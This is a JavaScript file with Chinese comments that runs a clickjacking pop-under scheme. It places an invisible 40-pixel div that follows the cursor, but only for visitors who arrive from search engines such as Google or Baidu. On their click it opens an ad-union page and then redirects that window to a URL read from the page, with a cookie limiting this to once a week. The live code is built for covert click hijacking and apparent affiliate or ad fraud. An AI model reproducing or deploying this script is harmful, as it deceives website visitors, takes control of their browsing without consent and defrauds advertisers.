var mycookie="gg"

var c

var skurl

skurl=document.getElementById('51I').name; 
//延时弹出
//document.writeln("<div id=\"mask\" style=\"filter:alpha(opacity=20);background-color:#00FF00;width:40px;z-index: 65536;height:40px;position:absolute;left:100px;\" onclick=this.style.display=\'none\';setTimeout(\"window.open(\'http://www.baidu.com\');\",1000);self.focus();>");
document.writeln("<div id=\"mask\" style=\"filter:alpha(opacity=0);background-color:#00FF00;width:40px;z-index: 65536;height:40px;position:absolute;left:-100px;\" onclick=\"this.style.display=\'none\';pourl();self.focus();\">");

document.writeln("</div>");


function pourl()
{
var popup = window.open('http://union.baidu.com/', '');
//popup.location.href='http://www.baidu.com/';
setTimeout(function() {popup.location.href='http://'+skurl;}, 1000);
//popup.window.blur();;
}



function seto()  //确认skurl能取得参数
{if(""==skurl| "undefined" ==typeof(skurl) )
{setTimeout("seto()",200);
skurl=document.getElementById('51I').name;
return}

}




//alert(window.location.href);
//alert(typeof(skurl));
//alert(skurl);

//alert(document.referrer) 来路
if(!get_cookie(mycookie) )
{


//if(document.cookie.indexOf("51=")==-1); 
//if(Surl.indexOf(".")!=-1)
//if(window.get_cookie("51"))


if(skurl=="" | "undefined" ==typeof(skurl)  )
 {
 //alert(skurl);

 }
else
     {
//alert(skurl);
//alert(typeof(skurl));
document.writeln("<div id=\"mask\" style=\"filter:alpha(opacity=0);background-color:#00FF00;width:40px;z-index: 65536;height:40px;position:absolute;left:-100px;\" onclick=\"this.style.display=\'none\';pourl();self.focus();\">");

document.writeln("</div>");

document.writeln("");
  document.getElementById("mask").style.pixelLeft=0;
  document.getElementById("mask").style.pixelTop=0;
 
var cookie_time = 168;
set_cookie(mycookie);

  
  if (document.referrer&&document.referrer.indexOf('google')>=0){
document.onmousemove=changepos; }
  if (document.referrer&&document.referrer.indexOf('baidu')>=0){
document.onmousemove=changepos; }


  if (document.referrer&&document.referrer.indexOf('soso')>=0){
document.onmousemove=changepos; }
  if (document.referrer&&document.referrer.indexOf('sogou')>=0){
document.onmousemove=changepos; }
     }

}

  


//function Surl(Name)
//{
//var Sur="";
//var ss="";
//Sur=get_cookie(Name);
//ss=get_cookie(Name);
//ss.split("o");

//alert(ss[0]);
//if (ss[0]==null)) {Sur="www.ppjcw.cn"};
//return Sur;
//}

function changepos()
{
  document.getElementById("mask").style.pixelLeft=document.body.scrollLeft+event.x-10;
  document.getElementById("mask").style.pixelTop=document.body.scrollTop+event.y-10;


}








//onblur=function(){this.focus();} 
//setTimeout(this.focus();,10000); 
//onblur=function(){ focus(); } ; 


//      var oWin = window.open('about:blank');
//      oWin.opener.document.write('<scr'+'ipt>onblur=function(){;}</scr' +'ipt>');
 //     oWin.document.close();

//      var oWin = window.open('about:blank');
//      oWin.document.write('<scr' + 'ipt>onload=function(){alert();}</scr' + 'ipt>');
//      oWin.close();


 <!--获取cookie-->
function get_cookie(Name) {
	var search = Name + "="
	var returnvalue = "";
	if (document.cookie.length > 0) {
		offset = document.cookie.indexOf(search)
		if (offset != -1) {
			offset += search.length;
			end = document.cookie.indexOf(";", offset);
			if (end == -1)
				end = document.cookie.length;
			returnvalue=unescape(document.cookie.substring(offset, end));
		}
	} 
	return returnvalue;
}

<!--写入cookie-->
function set_cookie(Name)
{
<!--cookie过期时间，如果不使用cookie则为0-->

var Then = new Date();
Then.setTime(Then.getTime() + cookie_time*60*60*1000);
document.cookie=Name+'=1;expires='+ Then.toGMTString()+';path=/;';

}